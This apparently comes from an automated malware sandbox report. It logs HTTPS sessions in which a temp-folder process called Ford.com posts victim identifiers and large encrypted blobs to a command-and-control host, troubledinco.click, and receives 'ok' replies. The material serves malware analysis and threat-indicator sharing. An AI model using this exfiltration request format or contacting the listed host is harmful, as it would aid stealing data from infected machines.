                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        4192.168.2.449985172.67.163.84433068C:\Users\user\AppData\Local\Temp\254268\Ford.com
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-10 09:19:58 UTC282OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=J1ELG6AP17J7AHU3
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                        Content-Length: 18151
                                                                                                                                                                                                                                        Host: troubledinco.click
                                                                                                                                                                                                                                        2024-12-10 09:19:58 UTC15331OUTData Raw: 2d 2d 4a 31 45 4c 47 36 41 50 31 37 4a 37 41 48 55 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 41 37 41 39 44 45 44 45 33 32 41 31 35 44 44 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4a 31 45 4c 47 36 41 50 31 37 4a 37 41 48 55 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 31 45 4c 47 36 41 50 31 37 4a 37 41 48 55 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 72 46 68 68 47 2d 2d 64 64 6e 34 34 0d 0a 2d 2d 4a 31
                                                                                                                                                                                                                                        Data Ascii: --J1ELG6AP17J7AHU3Content-Disposition: form-data; name="hwid"AA7A9DEDE32A15DD23D904AF30EFEBBC--J1ELG6AP17J7AHU3Content-Disposition: form-data; name="pid"2--J1ELG6AP17J7AHU3Content-Disposition: form-data; name="lid"9rFhhG--ddn44--J1
                                                                                                                                                                                                                                        2024-12-10 09:19:58 UTC2820OUTData Raw: 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc
                                                                                                                                                                                                                                        Data Ascii: h/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q
                                                                                                                                                                                                                                        2024-12-10 09:20:00 UTC1024INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Date: Tue, 10 Dec 2024 09:19:59 GMT
                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=aekvg2vsi7qp0kvp7io0kd49go; expires=Sat, 05-Apr-2025 03:06:38 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q7eicj%2FMhO58S9OqrtPrt1h23c4SIpYJFzPVP8olW4xl2YJlQQMeJhISrrqQTk2DrSer4EyNEV8ny8v0OJvnrlJAXe1arjW%2BQ9twnPt5lQvgoPCf9Wd0YThS6O%2Fm8L2Aq2J%2F0%2FM%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8efc280a284d421d-EWR
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1581&rtt_var=604&sent=14&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19113&delivery_rate=1846932&cwnd=177&unsent_bytes=0&cid=51ca0e34d1eb62f2&ts=1209&x=0"
                                                                                                                                                                                                                                        2024-12-10 09:20:00 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a
                                                                                                                                                                                                                                        Data Ascii: fok 8.46.123.175
                                                                                                                                                                                                                                        2024-12-10 09:20:00 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                        Data Ascii: 0


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        5192.168.2.449991172.67.163.84433068C:\Users\user\AppData\Local\Temp\254268\Ford.com
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-10 09:20:01 UTC275OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=AB5KECP6HV
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                        Content-Length: 8736
                                                                                                                                                                                                                                        Host: troubledinco.click
                                                                                                                                                                                                                                        2024-12-10 09:20:01 UTC8736OUTData Raw: 2d 2d 41 42 35 4b 45 43 50 36 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 41 37 41 39 44 45 44 45 33 32 41 31 35 44 44 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 41 42 35 4b 45 43 50 36 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 42 35 4b 45 43 50 36 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 72 46 68 68 47 2d 2d 64 64 6e 34 34 0d 0a 2d 2d 41 42 35 4b 45 43 50 36 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d
                                                                                                                                                                                                                                        Data Ascii: --AB5KECP6HVContent-Disposition: form-data; name="hwid"AA7A9DEDE32A15DD23D904AF30EFEBBC--AB5KECP6HVContent-Disposition: form-data; name="pid"2--AB5KECP6HVContent-Disposition: form-data; name="lid"9rFhhG--ddn44--AB5KECP6HVContent-
                                                                                                                                                                                                                                        2024-12-10 09:20:02 UTC1011INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Date: Tue, 10 Dec 2024 09:20:01 GMT
                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=emegd5cj1r6dsus891mvrefk5f; expires=Sat, 05-Apr-2025 03:06:40 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EArsWh92dMC3FUqSVwWQMGude3Zex84BOATXDedjvHT6tWzUFmShC23jWP2LCAHm1inNVv92pJc2fsRyK93XP8xgrtuyCdQkRHy8GKd71iVCxbxADbxvtluHBDkbI22jDTUnxT0%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8efc28197de65e80-EWR
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=2087&min_rtt=2072&rtt_var=808&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9669&delivery_rate=1328480&cwnd=218&unsent_bytes=0&cid=57900f27f28607d1&ts=767&x=0"
                                                                                                                                                                                                                                        2024-12-10 09:20:02 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a
                                                                                                                                                                                                                                        Data Ascii: fok 8.46.123.175
                                                                                                                                                                                                                                        2024-12-10 09:20:02 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                        Data Ascii: 0


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        6192.168.2.449997172.67.163.84433068C:\Users\user\AppData\Local\Temp\254268\Ford.com
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-10 09:20:03 UTC276OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=FITZS4F1H6
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                        Content-Length: 20389
                                                                                                                                                                                                                                        Host: troubledinco.click
                                                                                                                                                                                                                                        2024-12-10 09:20:03 UTC15331OUTData Raw: 2d 2d 46 49 54 5a 53 34 46 31 48 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 41 37 41 39 44 45 44 45 33 32 41 31 35 44 44 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 46 49 54 5a 53 34 46 31 48 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 46 49 54 5a 53 34 46 31 48 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 72 46 68 68 47 2d 2d 64 64 6e 34 34 0d 0a 2d 2d 46 49 54 5a 53 34 46 31 48 36 0d 0a 43 6f 6e 74 65 6e 74 2d
                                                                                                                                                                                                                                        Data Ascii: --FITZS4F1H6Content-Disposition: form-data; name="hwid"AA7A9DEDE32A15DD23D904AF30EFEBBC--FITZS4F1H6Content-Disposition: form-data; name="pid"3--FITZS4F1H6Content-Disposition: form-data; name="lid"9rFhhG--ddn44--FITZS4F1H6Content-
                                                                                                                                                                                                                                        2024-12-10 09:20:03 UTC5058OUTData Raw: 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c
                                                                                                                                                                                                                                        Data Ascii: lrQMn 64F6(X&7~`aO@dR<
                                                                                                                                                                                                                                        2024-12-10 09:20:04 UTC1019INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Date: Tue, 10 Dec 2024 09:20:04 GMT
                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=uegvhnihr7530of7h48bo3e3ca; expires=Sat, 05-Apr-2025 03:06:42 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=noP%2F187vj%2BwG7zNsAhhhA47NeIOdadY16A1pUMMZaDO0LsorTGtSli4Rhj6jX5409mRiBJ6sr8zjD4fAeCWyqN1PBGA1%2FMfTGWxQ20nfTOMXSYsSPuC60NcvosFLonGFNtTUwEQ%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8efc28266c51efa1-EWR
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1996&min_rtt=1990&rtt_var=759&sent=16&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21345&delivery_rate=1429970&cwnd=164&unsent_bytes=0&cid=cc1b49622c8199fb&ts=914&x=0"
                                                                                                                                                                                                                                        2024-12-10 09:20:04 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a
                                                                                                                                                                                                                                        Data Ascii: fok 8.46.123.175
                                                                                                                                                                                                                                        2024-12-10 09:20:04 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                        Data Ascii: 0


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        7192.168.2.450003172.67.163.84433068C:\Users\user\AppData\Local\Temp\254268\Ford.com
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-10 09:20:05 UTC279OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=NN3RBZWMY8S56F
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                        Content-Length: 1253
                                                                                                                                                                                                                                        Host: troubledinco.click
                                                                                                                                                                                                                                        2024-12-10 09:20:05 UTC1253OUTData Raw: 2d 2d 4e 4e 33 52 42 5a 57 4d 59 38 53 35 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 41 37 41 39 44 45 44 45 33 32 41 31 35 44 44 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4e 4e 33 52 42 5a 57 4d 59 38 53 35 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4e 4e 33 52 42 5a 57 4d 59 38 53 35 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 72 46 68 68 47 2d 2d 64 64 6e 34 34 0d 0a 2d 2d 4e 4e 33 52 42 5a 57 4d
                                                                                                                                                                                                                                        Data Ascii: --NN3RBZWMY8S56FContent-Disposition: form-data; name="hwid"AA7A9DEDE32A15DD23D904AF30EFEBBC--NN3RBZWMY8S56FContent-Disposition: form-data; name="pid"1--NN3RBZWMY8S56FContent-Disposition: form-data; name="lid"9rFhhG--ddn44--NN3RBZWM
                                                                                                                                                                                                                                        2024-12-10 09:20:06 UTC1019INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Date: Tue, 10 Dec 2024 09:20:06 GMT
                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=dlko37mcpvq0er09n57v5h2jo7; expires=Sat, 05-Apr-2025 03:06:45 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MmqWA9u%2FIvOEbTGQwYIJq%2BD8Le7bBTeabEpNesAaWLKtxAo4J%2BlFV1KAZgBgMyzkE%2FxpyZOnv5zZxre7HYSkRvmyq2IcavhRK8E2fk6ENLuZWLtOFxmr9U14NxurhMhhOBkuzds%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8efc28352e8fc411-EWR
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1506&min_rtt=1503&rtt_var=571&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2168&delivery_rate=1906005&cwnd=221&unsent_bytes=0&cid=fbdc7b178039200b&ts=1022&x=0"
                                                                                                                                                                                                                                        2024-12-10 09:20:06 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a
                                                                                                                                                                                                                                        Data Ascii: fok 8.46.123.175
                                                                                                                                                                                                                                        2024-12-10 09:20:06 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                        Data Ascii: 0


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        8192.168.2.450009172.67.163.84433068C:\Users\user\AppData\Local\Temp\254268\Ford.com
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-10 09:20:08 UTC279OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=W008HLEWO522
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                        Content-Length: 568590
                                                                                                                                                                                                                                        Host: troubledinco.click
                                                                                                                                                                                                                                        2024-12-10 09:20:08 UTC15331OUTData Raw: 2d 2d 57 30 30 38 48 4c 45 57 4f 35 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 41 37 41 39 44 45 44 45 33 32 41 31 35 44 44 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 57 30 30 38 48 4c 45 57 4f 35 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 30 30 38 48 4c 45 57 4f 35 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 72 46 68 68 47 2d 2d 64 64 6e 34 34 0d 0a 2d 2d 57 30 30 38 48 4c 45 57 4f 35 32 32 0d 0a
                                                                                                                                                                                                                                        Data Ascii: --W008HLEWO522Content-Disposition: form-data; name="hwid"AA7A9DEDE32A15DD23D904AF30EFEBBC--W008HLEWO522Content-Disposition: form-data; name="pid"1--W008HLEWO522Content-Disposition: form-data; name="lid"9rFhhG--ddn44--W008HLEWO522
                                                                                                                                                                                                                                        2024-12-10 09:20:08 UTC15331OUTData Raw: 79 d9 e5 fb ab af d8 7d a6 23 be 02 03 52 cc 09 80 6f 83 67 31 0f bf b1 f3 28 df 6c c4 e1 6f b0 38 e3 f2 ff 19 01 e4 21 15 78 e4 b7 21 b8 1f c4 19 52 73 fd 00 33 97 0f 9c 86 03 22 43 70 dc a3 b2 b5 0e 7e 33 fb 31 1b 8a 21 2b c5 bc 28 5f fa ec 5a ca ef bc a9 96 11 08 da cb b7 e7 ac f5 81 d6 b6 4b de cf e3 bc 9e 57 8b 78 7a e0 08 6d e2 cd d1 1a 0d 5c 8e 7b 4d b2 5a fe e5 1f f8 81 30 49 74 eb 7d 0a 73 91 3d f3 e5 af 6d ed 58 4a 79 9c 82 79 de 37 dc 19 cd f4 46 1f 65 d0 f9 84 1e f8 5e b9 56 49 24 8c 6d e6 bc bb 34 68 d5 b4 93 df 83 a6 9c 0c 31 49 59 be da be f8 b7 18 8e 48 50 bd 89 58 98 90 b8 ad 19 3d 6a 2a 97 d5 1f 86 c8 9b 5c be 0e b6 39 df 2d ed bf ca 57 f7 f1 e7 80 a4 a5 11 e6 c4 69 e7 5d 4f 52 51 ff a1 d8 ba 0a a5 6b 2d d4 0c 2a c5 0d fd 46 28 1f 93 e4
                                                                                                                                                                                                                                        Data Ascii: y}#Rog1(lo8!x!Rs3"Cp~31!+(_ZKWxzm\{MZ0It}s=mXJyy7Fe^VI$m4h1IYHPX=j*\9-Wi]ORQk-*F(
                                                                                                                                                                                                                                        2024-12-10 09:20:08 UTC15331OUTData Raw: d3 f8 a3 36 36 f0 72 61 77 70 12 3e d8 4b b4 dc e1 2b bd fe ab ff f5 b7 36 55 ee 11 35 35 85 92 60 a8 38 c4 14 62 cc e6 e2 c1 b6 1d ff 6a b1 d4 ba 08 c4 20 fd 77 e4 fa fc 4b 90 34 f3 df 21 d6 b9 d9 1a de 80 46 42 02 88 53 e4 ff 6b d0 b4 54 7f 9f a8 09 44 c0 61 0c ef e4 9e dd 7d 40 7a 3f 4d 15 81 e3 eb d7 f7 c9 36 ca 24 43 d5 ab 3b eb fa e5 2a a5 c0 62 e3 0d c8 57 f4 59 fa 71 35 d1 f6 8f e8 2b d9 f7 79 7b fe 02 8a 60 5c 3d e1 e7 f1 3f 6d 05 91 75 c8 81 16 6f fd 41 90 82 cb 8c f1 e9 51 88 16 8e 0e 80 8f 2d a8 14 71 e4 d7 75 35 3c 71 57 0d 98 84 dd 84 07 9c 20 22 f8 30 15 f1 9a 54 a0 e5 91 bb b7 41 67 4b fe 14 a9 78 be 76 0d 5f 6a 92 de 93 8a 18 29 21 73 99 b0 12 b0 77 80 45 4c dc 47 f2 e6 14 30 23 90 40 f6 ea f1 64 7e fd 46 ba 04 34 a1 5d 4b 6e 50 af a3 c4
                                                                                                                                                                                                                                        Data Ascii: 66rawp>K+6U55`8bj wK4!FBSkTDa}@z?M6$C;*bWYq5+y{`\=?muoAQ-qu5<qW "0TAgKxv_j)!swELG0#@d~F4]KnP
                                                                                                                                                                                                                                        2024-12-10 09:20:08 UTC15331OUTData Raw: fe 5c d9 fe b1 b2 e2 65 4d 26 12 87 08 b7 d0 b7 8f 93 6f e4 a6 01 ba 1a 91 4a 43 93 f9 51 bc 4a c0 03 8b 5d 3f a6 61 a9 82 77 ca 31 c1 82 a7 50 38 e2 00 d7 f0 e0 20 ce a3 44 e5 c5 2c fb a1 c9 47 1e d8 79 f2 ed 9b d7 7f e8 ba 59 ce 0f a1 47 3a 2f ce 01 e2 15 88 a8 30 94 8f 02 ae 6d 05 4f 9e c0 a5 a0 5e ff bf 53 6b 6d 2e 58 ab b7 ef d7 1b b4 ed c2 f5 eb b1 c8 3b b3 d5 be bc 66 c5 a7 dc aa bd 30 5e bc 2b f2 0b c5 59 a2 7e 96 5e 0d 01 89 38 c8 6d 72 ef ba 15 4f 80 3c 70 fe 3e 47 8a a8 c1 0d c5 95 a2 76 e5 ed d2 c3 7e 97 10 78 8d a6 77 0a 90 75 59 ea 2b 42 16 b5 a4 54 51 9c 08 78 23 aa 6e 09 32 1b 42 5c 01 61 a8 60 6e 58 4e 6c a4 5a eb 19 43 5f 48 fd 9f 88 17 87 48 2d 00 b3 88 66 c7 e9 a1 76 82 83 8b 3f dd d3 d1 eb 07 f6 ef de 88 fb 9d 50 43 e6 e7 5c 22 14 34
                                                                                                                                                                                                                                        Data Ascii: \eM&oJCQJ]?aw1P8 D,GyYG:/0mO^Skm.X;f0^+Y~^8mrO<p>Gv~xwuY+BTQx#n2B\a`nXNlZC_HH-fv?PC\"4
                                                                                                                                                                                                                                        2024-12-10 09:20:08 UTC15331OUTData Raw: 64 c4 34 b2 4a 1e b8 cc 97 5f 7a 20 c1 29 04 f5 8f 60 22 be 79 44 08 65 5c c1 01 1c 02 cf 5e 09 cc ea 73 2b 02 81 d0 46 68 21 c3 1f 06 f5 43 23 23 03 e1 30 bf 75 8d 5e 7e 86 45 53 63 20 dd 9c f6 fb 04 d9 f4 e8 f1 f0 8c 08 ed 0a ae 8a 37 42 61 f5 ad 92 35 d9 2a e0 cc a4 3c 44 74 e3 5b 1e 40 e2 11 81 d2 b7 7c 4d fc 35 0c db 22 35 d7 2a 7d 6e 92 26 9a 0f 48 0a 4f 38 19 eb 73 a7 30 67 26 2f ee 5f cf 1d 52 c7 0c 07 3e 1a 1c 0e 3e b6 a0 dc 5d c4 68 d5 16 b3 d3 96 6a 5e 08 66 5c 3b 4e 16 5b 7f ad 69 3b 2c df ba 28 69 5f 1f a6 21 da 56 ce 09 e3 a6 08 0a 8c 04 61 40 30 06 c6 d8 06 fd bb 04 e8 23 0b 46 62 c0 36 9a 56 75 ae d8 29 06 13 8e 48 b7 08 d1 f7 b2 6b a6 7e 12 1a 97 2a 78 9d f3 36 1e 6d 7f 5e 80 b9 2a 7c d0 2e 54 d5 6f cb 28 d6 31 17 ef ff ad a2 f8 ff be 20
